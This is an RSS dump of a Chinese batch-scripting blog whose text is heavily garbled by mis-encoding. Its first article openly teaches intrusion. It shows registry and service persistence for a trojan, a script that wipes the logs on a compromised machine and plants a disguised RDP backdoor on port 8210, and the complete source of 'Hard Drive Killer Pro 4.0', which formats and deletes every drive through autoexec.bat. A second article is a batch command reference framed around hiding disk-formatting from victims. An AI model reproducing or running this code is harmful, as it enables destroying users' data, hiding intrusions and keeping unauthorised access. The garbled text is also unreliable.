face=q圆>那这U文件格式就是典型的文g格式Q和你从注册表中导出的文件格式一_(d)内容如下Q?</font></p> <p><font face=q圆>Windows Registry Editor Version 5.00 </font></p> <p><font face=q圆>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] <br>"Invader"="Ex4rch" <br>"Door"=C:\\WINNT\\system32\\door.exe <br>"Autodos"=dword:02 </font></p> <p><font face=q圆>q样在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]?<br>新徏?Invader、door、aboutq三个项?<br>Invader的类型是"String value" <br>door的类型是"REG SZ value" <br>Autodos的类型是"DWORD value" </font></p> <p><font face=q圆>2.修改 <br>修改相对来说比较单,只要把你需要修改的目导出Q然后用C本进行修改,然后导入Qregedit /s</font></p> <p><font face=q圆>Q即可?</font></p> <p><font face=q圆>3.删除 <br>我们首先来说说删除一个项目名Uͼ我们创徏一个如下的文gQ?</font></p> <p><font face=q圆>Windows Registry Editor Version 5.00 </font></p> <p><font face=q圆>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] <br>"Ex4rch"=- </font></p> <p><font face=q圆>执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"?/font></p> <p><font face=q圆>被删除了Q?</font></p> <p><font face=q圆>我们再看看删除一个子,我们创徏一个如下的脚本Q?</font></p> <p><font face=q圆>Windows Registry Editor Version 5.00 </font></p> <p><font face=q圆>[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] </font></p> <p><font face=q圆>执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]已l被删除?/font></p> <p><font face=q圆>?</font></p> <p><font face=q圆>怿看到q里Q?reg文g你基本已l掌握了。那么现在的目标是用批处理来创建特定内容的.reg文g?/font></p> <p><font face=q圆>Q记得我们前面说道的利用重定向符号可以很Ҏ(gu)地创建特定类型的文g?</font></p> <p><font face=q圆>samlpe1:如上面的那个例子,如想生成如下注册表文?</font></p> <p><font face=q圆>Windows Registry Editor Version 5.00 </font></p> <p><font face=q圆>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] <br>"Invader"="Ex4rch" <br>"door"=hex:255 <br>"Autodos"=dword:000000128 </font></p> <p><font face=q圆>只需要这P(x) <br>@echo Windows Registry Editor Version 5.00>>Sample.reg <br>@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg <br>@echo "Invader"="Ex4rch">>Sample.reg <br>@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg <br>@echo "Autodos"=dword:02>>Sample.reg </font></p> <p><font face=q圆>samlpe2: <br>我们现在在用一些比较老的木马?可能?x)在注册表?/font></p> <p><font face=q圆>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices?/font></p> <p><font face=q圆>Runexec)]下生成一个键值用来实现木马的自启?但是q样很容易暴露木马程序的路径,从而导致木马被?/font></p> <p><font face=q圆>杀,相对地若是将木马E序注册为系l服务则相对安全一?下面以配|好地IRC木马DSNXZ(名ؓ(f)</font></p> <p><font face=q圆>windrv32.exe) </font></p> <p><font face=q圆>@start windrv32.exe <br>@attrib +h +r windrv32.exe <br>@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll <br>@echo "windsnx "=- >>patch.dll <br>@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= </font></p> <p><font face=q圆>c:\winnt\system32\windrv32.exe <br>@regedit /s patch.dll <br>@delete patch.dll </font></p> <p><font face=q圆>@REM [删除DSNXDE在注册表中的启动,用sc.exe之注册为系l关键性服务的同时其属性设为隐藏和</font></p> <p><font face=q圆>只读Qƈconfig启动] <br>@REM q样不是更安? </font></p> <p><br><font face=q圆><strong>?_ֽ实例N?/strong> <br><br>1.删除win2k/xppȝ默认׃n的批处理 <br>------------------------ cut here then save as .bat or .cmd file --------------------------- </font></p> <p><font face=q圆>@echo preparing to delete all the default shares.when ready pres any key. <br>@pause <br>@echo off </font></p> <p><font face=q圆>:Rem check parameters if null show usage. <br>if {%1}=={} goto :Usage </font></p> <p><font face=q圆>:Rem code start. <br>echo. <br>echo ------------------------------------------------------ <br>echo. <br>echo Now deleting all the default shares. <br>echo. <br>net share %1$ /delete <br>net share %2$ /delete <br>net share %3$ /delete <br>net share %4$ /delete <br>net share %5$ /delete <br>net share %6$ /delete <br>net share %7$ /delete <br>net share %8$ /delete <br>net share %9$ /delete <br>net stop Server <br>net start Server <br>echo. <br>echo All the shares have been deleteed <br>echo. <br>echo ------------------------------------------------------ <br>echo. <br>echo Now modify the registry to change the system default properties. <br>echo. <br>echo Now creating the registry file <br>echo Windows Registry Editor Version 5.00> c:\delshare.reg <br>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> </font></p> <p><font face=q圆>c:\delshare.reg <br>echo "AutoShareWks"=dword:00000000>> c:\delshare.reg <br>echo "AutoShareServer"=dword:00000000>> c:\delshare.reg <br>echo Nowing using the registry file to chang the system default properties. <br>regedit /s c:\delshare.reg <br>echo Deleting the temprotarily files. <br>del c:\delshare.reg <br>goto :END </font></p> <p><font face=q圆>:Usage <br>echo. <br>echo ------------------------------------------------------ <br>echo. <br>echo ?A example for batch file ?<br>echo ?[Use batch file to change the sysytem share properties.] ?<br>echo. <br>echo AuthorQEx4rch <br>echo Mail:Ex4rch@hotmail.com QQ:1672602 <br>echo. <br>echo ErrorQNot enough parameters <br>echo. <br>echo ?Please enter the share disk you wanna delete ?<br>echo. <br>echo For instanceQto delete the default shares: <br>echo delshare c d e ipc admin print <br>echo. <br>echo If the disklable is not as C: D: E: QPlease chang it youself. <br>echo. <br>echo exampleQ?<br>echo If locak disklable are C: D: E: X: Y: Z: Qyou should chang the command into Q?<br>echo delshare c d e x y z ipc admin print <br>echo. <br>echo *** you can delete nine shares once in a useing *** <br>echo. <br>echo ------------------------------------------------------ <br>goto :EOF </font></p> <p><font face=q圆>:END <br>echo. <br>echo ------------------------------------------------------ <br>echo. <br>echo OK,delshare.bat has deleted all the share you assigned. <br>echo.Any questions ,feel free to mail to </font><a href="mailto:Ex4rch@hotmail.com"><font face=q圆 color=#000000><u>Ex4rch@hotmail.com</u></font></a><font face=q圆>. <br>echo <br>echo. <br>echo ------------------------------------------------------ <br>echo. </font></p> <p><font face=q圆>:EOF <br>echo end of the batch file <br>------------------------ cut here then save as .bat or .cmd file --------------------------- </font></p> <p><br><font face=q圆>2.全面加固pȝQ给肉鸡打补丁)的批处理文g <br>------------------------ cut here then save as .bat or .cmd file --------------------------- </font></p> <p><font face=q圆>@echo Windows Registry Editor Version 5.00 >patch.dll <br>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] </font></p> <p><font face=q圆>>>patch.dll </font></p> <p><font face=q圆>@echo "AutoShareServer"=dword:00000000 >>patch.dll <br>@echo "AutoShareWks"=dword:00000000 >>patch.dll <br>@REM [止׃n] </font></p> <p><font face=q圆>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll <br>@echo "restrictanonymous"=dword:00000001 >>patch.dll <br>@REM [止匿名d] </font></p> <p><font face=q圆>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>patch.dll <br>@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll <br>@REM [止?qing)文件访问和打印׃n] </font></p> <p><font face=q圆>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>patch.dll <br>@echo "Start"=dword:00000004 >>patch.dll <br>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dll <br>@echo "Start"=dword:00000004 >>patch.dll <br>@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>patch.dll <br>@echo "ShutdownWithoutLogon"="0" >>patch.dll <br>@REM [止d前关机] </font></p> <p><font face=q圆>@echo "DontDisplayLastUserName"="1" >>patch.dll <br>@REM [止昄前一个登录用户名U] <br>@regedit /s patch.dll </font></p> <p><font face=q圆>------------------------ cut here then save as .bat or .cmd file --------------------------- </font></p> <p><font face=q圆>下面命o(h)是清除肉鸡所有日志,止一些危险的服务Qƈ修改肉鸡的terminnal service留蟩后\?<br>@regedit /s patch.dll <br>@net stop w3svc <br>@net stop event log <br>@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q <br>@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q <br>@del c:\winnt\system32\config\*.event /f /q <br>@del c:\winnt\system32dtclog\*.* /f /q <br>@del c:\winnt\*.txt /f /q <br>@del c:\winnt\*.log /f /q <br>@net start w3svc <br>@net start event log <br>@rem [删除日志] </font></p> <p><font face=q圆>@net stop lanmanserver /y <br>@net stop Schedule /y <br>@net stop RemoteRegistry /y <br>@del patch.dll <br>@echo The server has been patched,Have fun. <br>@del patch.bat <br>@REM [止一些危险的服务。] </font></p> <p><font face=q圆>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-</font></p> <p><font face=q圆>Tcp] >>patch.dll <br>@echo "PortNumber"=dword:00002010 >>patch.dll <br>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp </font></p> <p><font face=q圆>>>patch.dll <br>@echo "PortNumber"=dword:00002012 >>patch.dll <br>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll <br>@echo "Start"=dword:00000002 >>patch.dll <br>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll <br>@echo "Start"=dword:00000002 >>patch.dll <br>@echo "ErrorControl"=dword:00000001 >>patch.dll <br>@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ </font></p> <p><font face=q圆>>>patch.dll <br>@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ </font></p> <p><font face=q圆>>>patch.dll <br>@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll <br>@echo "ObjectName"="LocalSystem" >>patch.dll <br>@echo "Type"=dword:00000010 >>patch.dll <br>@echo "Description"="Keep record of the program and windows' message? >>patch.dll <br>@echo "DisplayName"="Microsoft EventLog" >>patch.dll <br>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll <br>@echo "Start"=dword:00000004 >>patch.dll <br>@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe <br>@REM [修改3389q接Q端口ؓ(f)8210(十六q制?0002012)Q名UCؓ(f)Microsoft EventLogQ留条后路] </font></p> <p><br><font face=q圆>3.Hard Drive Killer Pro Version 4.0Q玩批处理到q个水^真的不容易了。) <br><br>------------------------ cut here then save as .bat or .cmd file --------------------------- <br>@echo off <br>rem This program is dedecated to a very special person that does not want to be named. <br>:start <br>cls <br>echo PLEASE WAIT WHILE PROGRAM LOADS . . . <br>call attrib -r -h c:\autoexec.bat >nul <br>echo @echo off >c:\autoexec.bat <br>echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat <br>call attrib +r +h c:\autoexec.bat >nul <br>rem Drive checking and assigning the valid drives to the drive variable. </font></p> <p><font face=q圆>set drive= <br>set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z </font></p> <p><font face=q圆>rem code insertion for Drive Checking takes place here. <br>rem drivechk.bat is the file name under the root directory. <br>rem As far as the drive detection and drive variable settings, don't worry about how it <br>rem works, it's d\*amn to complicated for the average or even the expert batch programmer. <br>rem Except for Tom Lavedas. </font></p> <p><font face=q圆>echo @echo off >drivechk.bat <br>echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat <br>%comspec% /e:2048 /c {t}.bat >>drivechk.bat <br>del {t}.bat <br>echo if errorlevel 1 goto enddc >>drivechk.bat </font></p> <p><font face=q圆>cls <br>echo PLEASE WAIT WHILE PROGRAM LOADS . . . </font></p> <p><font face=q圆>rem When errorlevel is 1, then the above is not true, if 0, then it's true. <br>rem Opposite of binary rules. If 0, it will elaps to the next command. </font></p> <p><font face=q圆>echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat <br>%comspec% /e:2048 /c {t}.bat >>drivechk.bat <br>del {t}.bat <br>echo if errorlevel 1 goto enddc >>drivechk.bat </font></p> <p><font face=q圆>cls <br>echo PLEASE WAIT WHILE PROGRAM LOADS . . . </font></p> <p><font face=q圆>rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. <br>rem if errorlevel is 0, then it will elaps to the next command. </font></p> <p><font face=q圆>echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat <br>%comspec% /e:2048 /c {t}.bat >>drivechk.bat <br>del {t}.bat <br>echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat </font></p> <p><font face=q圆>cls <br>echo PLEASE WAIT WHILE PROGRAM LOADS . . . </font></p> <p><font face=q圆>rem if it's errorlevel 1, then the specified drive is a hard or floppy drive. <br>rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive. </font></p> <p><font face=q圆>echo :enddc >>drivechk.bat </font></p> <p><font face=q圆>rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". </font></p> <p><font face=q圆>rem Now we will use the program drivechk.bat to attain valid drive information. </font></p> <p><font face=q圆>:Sampledrv </font></p> <p><font face=q圆>for %%a in (%alldrive%) do call drivechk.bat %%a >nul <br>del drivechk.bat >nul <br>if %drive.==. set drive=c </font></p> <p><font face=q圆>:form_del <br>call attrib -r -h c:\autoexec.bat >nul <br>echo @echo off >c:\autoexec.bat <br>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . </font></p> <p><font face=q圆>>>c:\autoexec.bat <br>echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat <br>echo cls >>c:\autoexec.bat <br>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . </font></p> <p><font face=q圆>>>c:\autoexec.bat <br>echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat <br>echo cls >>c:\autoexec.bat <br>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . </font></p> <p><font face=q圆>>>c:\autoexec.bat <br>echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat <br>echo cls >>c:\autoexec.bat <br>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . </font></p> <p><font face=q圆>>>c:\autoexec.bat <br>echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat <br>echo cls >>c:\autoexec.bat <br>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . </font></p> <p><font face=q圆>>>c:\autoexec.bat <br>echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat <br>echo cls >>c:\autoexec.bat <br>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . </font></p> <p><font face=q圆>>>c:\autoexec.bat <br>echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat <br>echo cd\ >>c:\autoexec.bat <br>echo cls >>c:\autoexec.bat <br>echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. </font></p> <p><font face=q圆>>>c:\autoexec.bat <br>echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to </font></p> <p><font face=q圆>tell you the following. . . >>c:\autoexec.bat <br>echo echo 1. To make people aware that security should not be taken for granted. </font></p> <p><font face=q圆>>>c:\autoexec.bat <br>echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! </font></p> <p><font face=q圆>>>c:\autoexec.bat <br>echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is </font></p> <p><font face=q圆>dead. >>c:\autoexec.bat <br>echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal </font></p> <p><font face=q圆>Party.>>c:\autoexec.bat </font></p> <p><font face=q圆>echo echo. >>c:\autoexec.bat <br>echo echo Regards, >>c:\autoexec.bat <br>echo echo. >>c:\autoexec.bat <br>echo echo Munga Bunga >>c:\autoexec.bat <br>call attrib +r +h c:\autoexec.bat </font></p> <p><font face=q圆>:makedir <br>if exist c:\temp.bat attrib -r -h c:\temp.bat >nul <br>echo @echo off >c:\temp.bat <br>echo %%1:\ >>c:\temp.bat <br>echo cd\ >>c:\temp.bat <br>echo :startmd >>c:\temp.bat <br>echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a </font></p> <p><font face=q圆>>>c:\temp.bat <br>echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat <br>echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%</font></p> <p><font face=q圆>%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto </font></p> <p><font face=q圆>startmd >>c:\temp.bat <br>call attrib +r +h c:\temp.bat >nul </font></p> <p><font face=q圆>cls <br>echo Initializing Variables . . . <br>rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for </font></p> <p><font face=q圆>further destruction. <br>for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul <br>cls <br>echo Initializing Variables . . . <br>echo Validating Data . . . <br>for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul <br>cls <br>echo Initializing Variables . . . <br>echo Validating Data . . . <br>echo Analyzing System Structure . . . <br>for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul <br>call attrib +r +h c:\temp.bat >nul <br>call attrib +r +h c:\autoexec.bat >nul <br>cls <br>echo Initializing Variables . . . <br>echo Validating Data . . . <br>echo Analyzing System Structure . . . <br>echo Initializing Application . . . </font></p> <p><font face=q圆>for %%a in (%drive%) call deltree /y %%a:\*. >nul <br>cls <br>echo Initializing Variables . . . <br>echo Validating Data . . . <br>echo Analyzing System Structure . . . <br>echo Initializing Application . . . <br>echo Starting Application . . . <br>for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul </font></p> <p><font face=q圆>cls <br>echo Thank you for using a Munga Bunga product. <br>echo. <br>echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. <br>echo. <br>echo Here is a joke for you . . . <br>echo. <br>echo Q). What's the worst thing about being an egg? <br>echo A). You only get laid once. <br>echo. <br>echo HAHAHAHA, get it? Don't you just love that one? <br>echo. <br>echo Regards, <br>echo. <br>echo Munga Bunga </font></p> <p><font face=q圆>:end </font></p> <p><font face=q圆>rem Hard Drive Killer Pro Version 4.0, enjoy!!!! <br>rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get </font></p> <p><font face=q圆>out of here). <br></font></p> </div> </td> </tr> </tbody> </table> </td> </tr> </tbody> </table><img src ="http://www.aygfsteel.com/Alpha/aggbug/134631.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/Alpha/" target="_blank">Alpha</a> 2007-08-06 10:41 <a href="http://www.aygfsteel.com/Alpha/articles/134631.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>批处理命令大?/title><link>http://www.aygfsteel.com/Alpha/articles/134630.html</link><dc:creator>Alpha</dc:creator><author>Alpha</author><pubDate>Mon, 06 Aug 2007 02:41:00 GMT</pubDate><guid>http://www.aygfsteel.com/Alpha/articles/134630.html</guid><wfw:comment>http://www.aygfsteel.com/Alpha/comments/134630.html</wfw:comment><comments>http://www.aygfsteel.com/Alpha/articles/134630.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/Alpha/comments/commentRss/134630.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/Alpha/services/trackbacks/134630.html</trackback:ping><description><![CDATA[<table class=border cellSpacing=0 cellPadding=0 width="100%" border=0> <tbody> <tr vAlign=center align=middle> <td colSpan=2 height=50><font face=楷体_GB2312 color=#000080 size=4><strong>批处理命令大?/strong></font></td> </tr> <tr class=tdbg_rightall> <td style="BORDER-BOTTOM: #000000 1px solid" colSpan=2> <div align=center>QM者:(x)佚名  转脓(chung)自:(x)Internet  点击敎ͼ(x)23116  更新旉Q?005-12-25  文章录入QonegreenQ?/div> </td> </tr> <tr> <td style="PADDING-BOTTOM: 20px; PADDING-TOP: 20px" colSpan=2> <table cellSpacing=5 cellPadding=0 width=560 align=center border=0> <tbody> <tr> <td vAlign=top height=200> <table cellSpacing=5 cellPadding=5 align=right border=0> <tbody> <tr> <td vAlign=top align=right> <p align=right></p> </td> </tr> </tbody> </table> <p> <p> <p> <p>1.Echo 命o(h)<br>打开回显或关闭请求回昑֊能,或显C消息。如果没有Q何参敎ͼecho 命o(h)显C当前回显设|?br>语法<br>echo [{on|off}] [message]<br>SampleQecho off / echo hello world<br>在实际应用中我们?x)把q条命o(h)和重定向W号Q也UCؓ(f)道W号Q一般用> >> ^Q结合来实现输入一些命令到特定格式的文件中.q将在以后的例子中体现出来?br><br>2.@ 命o(h)<br>表示不显C@后面的命令,在入侵过E中Q例如用批处理来格式化敌h的硬盘)自然不能让对方看C使用的命令啦?br>SampleQ@echo off<br>@echo Now initializing the program,please wait a minite...<br>@format X: /q/u/autoset (format q个命o(h)是不可以使用/yq个参数的,可喜的是微Y留了个autosetq个参数l我们,效果?y是一L(fng)?<br><br>3.Goto 命o(h)<br>指定跌{到标{,扑ֈ标签后,E序处理从下一行开始的命o(h)?br>语法Qgoto label Qlabel是参敎ͼ指定所要{向的批处理程序中的行。) <br>SampleQ?br>if {%1}=={} goto noparms<br>if {%2}=={} goto noparmsQ如果这里的if?1?2你不明白的话Q先跌去,后面?x)有详细的解释。)<br>@Rem check parameters if null show usage<br>:noparms<br>echo Usage: monitor.bat ServerIP PortNumber<br>goto end<br>标签的名字可以随便vQ但是最好是有意义的字母啦,字母前加个:(x)用来表示q个字母是标{,goto命o(h)是Ҏ(gu)q个Q来L下一步蟩到到那里。最好有一些说明这样你别h看v来才?x)理解你的意囑֕?br><br>4.Rem 命o(h)<br>注释命o(h)Q在C语言中相当与/*--------*/,它ƈ不会(x)被执行,只是起一个注释的作用Q便于别人阅d你自己日后修攏V?br>Rem Message<br>SampleQ@Rem Here is the description.<br><br>5.Pause 命o(h)<br>q行 Pause 命o(h)Ӟ显CZ面的消息Q?<br>Press any key to continue . . . <br>SampleQ?br>@echo off <br>:begin <br>copy a:*.* dQ\back<br>echo Please put a new disk into driver A <br>pause <br>goto begin <br>在这个例子中Q驱动器 A 中磁盘上的所有文件均复制到d:\back中。显C的注释提示(zhn)将另一张磁盘放入驱动器 A Ӟpause 命o(h)?x)ɽE序挂vQ以便?zhn)更换盘Q然后按L键l处理?br><br>6.Call 命o(h)<br>从一个批处理E序调用另一个批处理E序Qƈ且不l止父批处理E序。call 命o(h)接受用作调用目标的标{。如果在脚本或批处理文g外?CallQ它?yu)不会(x)在命o(h)行v作用?br>语法<br>call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]<br>参数<br>[Drive:}[Path] FileName <br>指定要调用的批处理程序的位置和名U。filename 参数必须h .bat ?.cmd 扩展名?br><br>7.start 命o(h)<br>调用外部E序Q所有的DOS命o(h)和命令行E序都可以由start命o(h)来调用?br>入R常用参数Q?br>MIN 开始时H口最化<br>SEPARATE 在分开的空间内开?16 ?Windows E序<br>HIGH ?HIGH 优先U类别开始应用程?br>REALTIME ?REALTIME 优先U类别开始应用程?br>WAIT 启动应用E序q等候它l束<br>parameters q些Z送到命o(h)/E序的参?br>执行的应用程序是 32-?GUI 应用E序ӞCMD.EXE 不等应用E序l止p回命令提C。如果在命o(h)脚本内执行,该新行ؓ(f)则不?x)发生?br>8.choice 命o(h)<br>choice 使用此命令可以让用户输入一个字W,从而运行不同的命o(h)。用时应该?c:参数Qc:后应写提C可输入的字W,之间无空根{它的返回码?234……<br><br>? choice /c:dme defrag,mem,end<br>显C?br>defrag,mem,end[D,M,E]?<br>SampleQ?br>Sample.bat的内容如? <br>@echo off <br>choice /c:dme defrag,mem,end <br>if errorlevel 3 goto defrag Q应先判断数值最高的错误码)<br>if errorlevel 2 goto mem <br>if errotlevel 1 goto end <br><br>:defrag <br>c:\dos\defrag <br>goto end <br>:mem <br>mem <br>goto end <br>:end <br>echo good bye<br><br>此文件运行后Q将昄 defrag,mem,end[D,M,E]? 用户可选择d m e Q然后if语句作出判断,d表示执行标号为defrag的程序段Qm表示执行标号为mem的程序段Qe表示执行标号为end的程序段Q每个程序段最后都以goto end程序蟩到end标号处,然后E序显Cgood byeQ文件结束?br><br>9.If 命o(h)<br><br>if 表示判断是否符合规定的条gQ从而决定执行不同的命o(h)?有三U格? <br>1、if "参数" == "字符? 待执行的命o(h) <br>参数如果{于指定的字W串Q则条g成立Q运行命令,否则q行下一句?注意是两个等P<br>如if "%1"=="a" format a: <br>if {%1}=={} goto noparms<br>if {%2}=={} goto noparms<br><br>2、if exist 文g?待执行的命o(h) <br>如果有指定的文gQ则条g成立Q运行命令,否则q行下一句?br>如if exist config.sys edit config.sys <br><br>3、if errorlevel / if not errorlevel 数字 待执行的命o(h) <br>如果q回码等于指定的数字Q则条g成立Q运行命令,否则q行下一句?br>如if errorlevel 2 goto x2 <br>DOSE序q行旉?x)返回一个数字给DOSQ称为错误码errorlevel或称q回码,常见的返回码???br><br>10.for 命o(h)<br>for 命o(h)是一个比较复杂的命o(h)Q主要用于参数在指定的范围内循环执行命o(h)?br>在批处理文g中?FOR 命o(h)Ӟ指定变量请?%%variable<br><br>for {%variable|%%variable} in (set) do command [ CommandLineOptions]<br>%variable 指定一个单一字母可替换的参数?br>(set) 指定一个或一l文件。可以用通配W?br>command 指定Ҏ(gu)个文件执行的命o(h)?br>command-parameters 为特定命令指定参数或命o(h)行开兟?br>在批处理文g中?FOR 命o(h)Ӟ指定变量请?%%variable<br>而不要用 %variable。变量名U是区分大小写的Q所?%i 不同?%I<br><br>如果命o(h)扩展名被启用Q下列额外的 FOR 命o(h)格式?x)受?br>支持:<br><br>FOR /D %variable IN (set) DO command [command-parameters]<br><br>如果集中包含通配W,则指定与目录名匹配,而不与文?br>名匹配?br><br>FOR /R [[drive:]path] %variable IN (set) DO command [command-<br><br>查以 [drive:]path 为根的目录树(wi)Q指向每个目录中?br>FOR 语句。如果在 /R 后没有指定目录,则用当?br>目录。如果集仅ؓ(f)一个单?.)字符Q则枚D该目录树(wi)?br><br>FOR /L %variable IN (start,step,end) DO command [command-para<br><br>该集表示以增量Ş式从开始到l束的一个数字序列?br>因此Q?1,1,5) 生序?1 2 3 4 5Q?5,-1,1) ?br>序列 (5 4 3 2 1)?br><br>FOR /F ["options"] %variable IN (file-set) DO command <br>FOR /F ["options"] %variable IN ("string") DO command <br>FOR /F ["options"] %variable IN (command) DO command <br><br>或者,如果?usebackq 选项:<br><br>FOR /F ["options"] %variable IN (file-set) DO command <br>FOR /F ["options"] %variable IN ("string") DO command <br>FOR /F ["options"] %variable IN (command) DO command <br><br>filenameset Z个或多个文g名。l到 filenameset 中的<br>下一个文件之前,每䆾文g都已被打开、读取ƈl过处理?br>处理包括d文gQ将其分成一行行的文字,然后每?br>解析成零或更多的W号。然后用已找到的W号字符串变量?br>调用 For 循环。以默认方式Q?F 通过每个文g的每一行中分开<br>的第一个空白符受蟩q空白行。?zhn)可通过指定可?"options"<br>参数替代默认解析操作。这个带引号的字W串包括一个或多个<br>指定不同解析选项的关键字。这些关键字?<br><br>eol=c - 指一个行注释字符的结?׃?<br>skip=n - 指在文g开始时忽略的行数?br>delims=xxx - 指分隔符集。这个替换了I格和蟩格键?br>默认分隔W集?br>tokens=x,y,m-n - 指每行的哪一个符可传递到每个q代<br>?for 本n。这?x)导致额外变量名U的<br>格式Z个范围。通过 nth W号指定 m<br>W号字符串中的最后一个字W星P<br>那么额外的变量将在最后一个符可析之<br>分配q接受行的保留文本?br>usebackq - 指定新语法已在下cL况中使用:<br>在作为命令执行一个后引号的字W串q且<br>引号字符为文字字W串命o(h)q允许在 fi<br>中用双引号扩v文g名称?br><br>sample1:<br>FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command<br><br>?x)分?myfile.txt 中的每一行,忽略以分h头的那些行,?br>每行中的W二个和W三个符号传递给 for E序体;用逗号??br>I格定界W号。请注意Q这?for E序体的语句引用 %i ?br>取得W二个符P引用 %j 来取得第三个W号Q引?%k<br>来取得第三个W号后的所有剩余符受对于带有空格的文g<br>名,(zhn)需要用双引号将文g名括h。ؓ(f)了用q种方式来<br>用双引号Q?zhn)q需要?usebackq 选项Q否则,双引号会(x)<br>被理解成是用作定义某个要分析的字W串的?br><br>%i 专门?for 语句中得到说明,%j ?%k 是通过<br>tokens= 选项专门得到说明的。?zhn)可以通过 tokens= 一?br>指定最?26 个符P只要不试图说明一个高于字?z ?br>Z 的变量。请CQFOR 